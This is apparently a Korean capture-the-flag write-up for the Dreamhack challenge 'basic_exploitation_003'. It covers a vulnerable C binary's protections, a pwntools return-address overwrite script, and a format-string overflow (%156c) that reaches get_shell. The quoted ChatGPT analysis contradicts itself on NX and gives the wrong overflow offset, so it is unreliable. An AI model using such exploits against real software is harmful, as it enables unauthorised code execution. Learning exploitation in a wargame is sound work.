주어진 정보를 바탕으로 Ubuntu 16.04에서 실행되는 32비트 바이너리의 보안 특성과 그 의미를 분석하겠습니다.
### 1. 시스템 정보
- **Ubuntu 16.04**:
- 사용 중인 운영 체제의 버전입니다. 16.04는 오래된 버전으로, 최신 보안 업데이트가 적용되지 않을 수 있습니다.
### 2. 아키텍처 정보
- **Arch: i386-32-little**:
- 이 바이너리는 32비트 아키텍처로 컴파일되었습니다.
- 32비트 아키텍처는 주소 공간이 4GB로 제한되며, 보안 공격에 대한 대응이 더 어려울 수 있습니다.
### 3. 보안 기능
- **RELRO: Partial RELRO**:
- RELRO( Read-Only Relocations)는 동적 연결된 라이브러리 함수의 주소를 수정하는 것을 방지하기 위한 보안 기능입니다.
- Partial RELRO는 일부 데이터 섹션을 읽기 전용으로 설정하지만, GOT( Global Offset Table)의 모든 항목이 보호되지 않으므로, 공격자가 GOT 항목을 수정할 수 있는 여지가 있습니다. 즉, 공격자가 특정 함수의 GOT 항목을 덮어쓰면 해당 함수를 임의로 호출할 수 있습니다.
- **Stack: No canary found**:
- 스택 카나리(Stack Canary)는 스택 오버플로우 공격을 방지하기 위한 보안 기법입니다. 카나리는 스택 프레임에 배치되어, 반환 주소가 변경될 경우 프로그램이 종료되도록 합니다.
- "No canary found"는 이 바이너리에 카나리가 없음을 의미하며, 이는 스택 오버플로우 공격이 더 쉽게 성공할 수 있다는 것을 의미합니다.
- **NX: NX enabled**:
- NX(No eXecute) 비트가 활성화되어 있어 데이터 세그먼트에서 실행 가능한 코드를 막습니다. 즉, 스택이나 힙에서 직접 코드를 실행할 수 없습니다. 그러나 공격자는 여전히 ROP( Return Oriented Programming)과 같은 기법을 사용하여 코드 실행을 우회할 수 있습니다.
- **PIE: No PIE (0x8048000)**:
- PIE(Position Independent Executable)가 비활성화되어 있습니다. 이 경우 바이너리는 항상 같은 주소에서 로드됩니다. 즉, 메모리 주소가 고정되어 있기 때문에 공격자가 함수의 메모리 주소를 쉽게 예측할 수 있습니다. 이는 GOT 덮어쓰기 공격 및 ROP 공격을 더 쉽게 만들 수 있습니다.
### 4. 잠재적 취약점
1. **Partial RELRO**:
- GOT 항목이 완전히 보호되지 않기 때문에 공격자는 특정 함수를 임의로 호출할 수 있습니다. 예를 들어, 공격자는 `system` 함수의 GOT 항목을 덮어써서 임의의 명령어를 실행하도록 만들 수 있습니다.
2. **No Canary**:
- 스택 카나리가 없기 때문에 스택 오버플로우를 통해 반환 주소를 쉽게 덮어쓸 수 있습니다. 이는 공격자가 프로그램의 흐름을 제어할 수 있게 합니다.
3. **NX 비트 활성화**:
- NX가 활성화되어 있지만, 데이터 세그먼트에서 코드를 실행할 수 없는 것만으로는 완벽한 보호가 아닙니다. 공격자는 여전히 ROP 기법을 사용하여 기존의 코드 조각을 재사용하여 악성 행위를 수행할 수 있습니다.
4. **PIE 비활성화**:
- PIE가 비활성화되어 있어 메모리 주소를 쉽게 예측할 수 있으므로, 공격자는 GOT 항목을 쉽게 조작하여 프로그램의 흐름을 변경할 수 있습니다.
### 결론
이 바이너리는 여러 가지 취약점이 존재하며, Partial RELRO와 스택 카나리의 부재는 공격자가 GOT를 조작하여 임의의 코드를 실행할 수 있는 기회를 제공합니다. NX 비트와 PIE의 비활성화는 공격자가 프로그램의 흐름을 더욱 쉽게 조작할 수 있는 조건을 제공합니다. 이러한 특성을 이해하면, 이 바이너리에 대한 보안 공격을 설계하는 데 큰 도움이 됩니다. 추가적인 질문이나 더 알고 싶은 사항이 있으면 말씀해 주세요!
소스코드다
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
void get_shell() {
system("/bin/sh");
}
int main(int argc, char *argv[]) {
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
initialize();
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
printf("ECHO : %s\n", stack_buf);
return 0;
}
주어진 C 코드를 분석하고 취약점을 찾아 익스플로잇을 통해 쉘을 얻는 방법을 설명하겠습니다. 코드는 사용자가 입력한 데이터를 받아서 이를 출력하는 형태로 작성되어 있습니다. 이 코드에서의 주요 취약점은 버퍼 오버플로우입니다.
### 코드 분석
1. **입력 및 메모리 할당**:
```c
char *heap_buf = (char *)malloc(0x80);
char stack_buf[0x90] = {};
```
- `heap_buf`는 힙 메모리에 128바이트를 할당받습니다.
- `stack_buf`는 스택에 144바이트의 버퍼를 선언합니다.
2. **초기화**:
```c
initialize();
```
- 입력 버퍼링을 비활성화하고, SIGALRM 신호에 대해 타임아웃 핸들러를 설정합니다. 타임아웃은 30초로 설정되어 있습니다.
3. **데이터 읽기 및 포맷**:
```c
read(0, heap_buf, 0x80);
sprintf(stack_buf, heap_buf);
```
- 사용자의 입력을 `heap_buf`에 읽어오고, 이후 이 데이터를 `sprintf`를 사용하여 `stack_buf`에 저장합니다. 여기서 `sprintf`는 길이를 검증하지 않기 때문에 버퍼 오버플로우가 발생할 수 있습니다.
4. **쉘을 얻기 위한 함수**:
```c
void get_shell() {
system("/bin/sh");
}
```
- `get_shell` 함수는 `/bin/sh` 쉘을 실행합니다. 하지만 이 함수는 `main` 함수 내에서 호출되지 않으므로, 이를 호출할 수 있는 방법을 찾아야 합니다.
### 취약점
1. **버퍼 오버플로우**:
- `sprintf`는 입력 데이터의 길이를 확인하지 않기 때문에 `heap_buf`의 내용이 `stack_buf`를 초과하여 메모리에 쓰일 수 있습니다. 이는 `stack_buf`의 반환 주소를 덮어쓸 수 있습니다.
2. **코드 실행 제어**:
- 공격자는 `heap_buf`에 적절한 데이터를 작성하여 `stack_buf`의 끝에 있는 반환 주소를 덮어쓰고 `get_shell` 함수의 주소로 변경함으로써 프로그램이 종료될 때 쉘을 실행하도록 만들 수 있습니다.
### 익스플로잇 과정
1. **주소 계산**:
- `get_shell` 함수의 주소를 찾고, 이 주소를 반환 주소로 설정해야 합니다.
- GDB를 사용하여 `get_shell`의 주소를 찾을 수 있습니다:
```bash
gdb ./binary
(gdb) break get_shell
(gdb) run
```
2. **패딩 및 입력 구성**:
- `heap_buf`에 쓸 데이터는 다음과 같이 구성됩니다:
- `0x90` 크기의 `stack_buf`를 덮어쓰고, 그 이후에 `get_shell`의 주소를 추가합니다.
- 예를 들어, 만약 `get_shell`의 주소가 `0x080484b6`이라면, 입력은 다음과 같이 구성됩니다:
```python
padding = b"A" * 0x90 # stack_buf 크기
shell_addr = p32(0x080484b6) # get_shell 주소
payload = padding + shell_addr
```
3. **코드 작성 및 실행**:
- 아래와 같이 익스플로잇 코드를 작성할 수 있습니다:
```python
from pwn import *
# 바이너리 실행
p = process('./your_binary_name')
# get_shell 주소를 GDB에서 확인 후 입력
get_shell_addr = 0x080484b6 # 예시 주소
# 익스플로잇 페이로드 생성
padding = b"A" * 0x90 # stack_buf를 덮어쓰는 패딩
payload = padding + p32(get_shell_addr)
# payload 전송
p.sendline(payload)
# 인터랙티브 쉘로 전환
p.interactive()
```
### 결론
이 코드에서는 버퍼 오버플로우를 이용하여 `get_shell` 함수를 호출함으로써 쉘을 획득하는 공격을 수행할 수 있습니다. 이 과정에서 정확한 메모리 주소와 페이로드 구성이 중요하며, GDB와 같은 디버깅 도구를 사용하여 주소를 확인하는 것이 필요합니다. 추가적인 질문이 있거나 도움이 필요하시면 말씀해 주세요!
get_shell 주소를 확인하러가보자
https://bgm2020.tistory.com/14
https://jhyuxxk.tistory.com/24
https://velog.io/@silvergun8291/Dreamhack-basicexploitation003
쉘을 띄워주는 get_shell() 함수가 있습니다.sprintf(stack_buf, heap_buf) 부분에서
포멧 스트링 버그가 발생합니다.
heap_buf에 %[n]c 를 넣으면 n 바이트 길이의 문자열이 stack_buf에 들어가는데,
만약 n이 stack_buf의 크기보다 크다면 버퍼 오버플로우가 발생할 수 있습니다.
⇾ 포멧 스트링 버그를 이용해서 heap_buf에 %[stack_buf~RET]c + get_shell을 넣고
sprintf() 함수를 이용해서 버퍼 오버플로우를 발생시켜서
RET 값을 get_shell 함수의 주소로 변조하면 될거 같습니다.
출처ㅣhttps://velog.io/@silvergun8291/Dreamhack-basicexploitation003
즉, heap_buf 에서 stack_buf 로 출력할 때, %1000c 가 저장되어 있다면, heap_buf 에는 "%1000c" 로 6 자리 문자열로 인식되지만, stack_buf 에는 1000 바이트가 입력된다.
이를 통해, RET 까지 %----c 로 채우고, RET 에 get_shell() 함수 주소를 입력하면 된다.
get_shell 함수 : system 명령어로 /bin/sh 의 주소를 출력한다.
stack_buf 의 주소가 ebp-0x98
이를 통해, stack_buf 가 ebp 로부터 0x98 (152 바이트) 떨어져 있다는 것을 알 수 있다.
출처ㅣ https://jhyuxxk.tistory.com/24
지피티에게 스택 구조를 그림으로 달라했다.
위 이미지는 제공된 코드의 스택 구조를 시각적으로 나타낸 것입니다. 각 요소는 다음과 같은 순서로 스택에 배치되어 있습니다:
- stack_buf (0x90): 144바이트 크기의 버퍼로, 사용자의 입력이 저장됩니다.
- SFP (Saved Frame Pointer): 이전 프레임의 포인터를 저장하는 4바이트.
- RET (Return Address): 함수가 종료될 때 돌아갈 주소를 저장하는 4바이트.
이 구조를 통해, 스택 버퍼 오버플로우 공격을 통해 RET 주소를 조작하여 get_shell 함수를 호출할 수 있는 방법을 이해할 수 있습니다. 추가 질문이나 도움이 필요하시면 언제든지 말씀해 주세요!
152 + 4 바이트를 하여 156 바이트 만큼 채
워 RET 부분에 get_shell() 함수의 주소를 넣어준다.
'Dreamhack > Dreamhack Wargame (Challenge)' 카테고리의 다른 글
[56] IT 비전공자 [dreamhack]error based sql injection문제 풀기 (5) | 2024.11.04 |
---|---|
[55] IT 비전공자 [dreamhack]rev-basic-8문제 풀기 (4) | 2024.11.03 |
[53] IT 비전공자 [dreamhack]out_of_bound문제 풀기 (5) | 2024.11.01 |
[52] IT 비전공자 [dreamhack]simple_sqli_chatgpt문제 풀기 (2) | 2024.10.31 |
[51] IT 비전공자 [dreamhack]rev-basic-6문제 풀기 (2) | 2024.10.30 |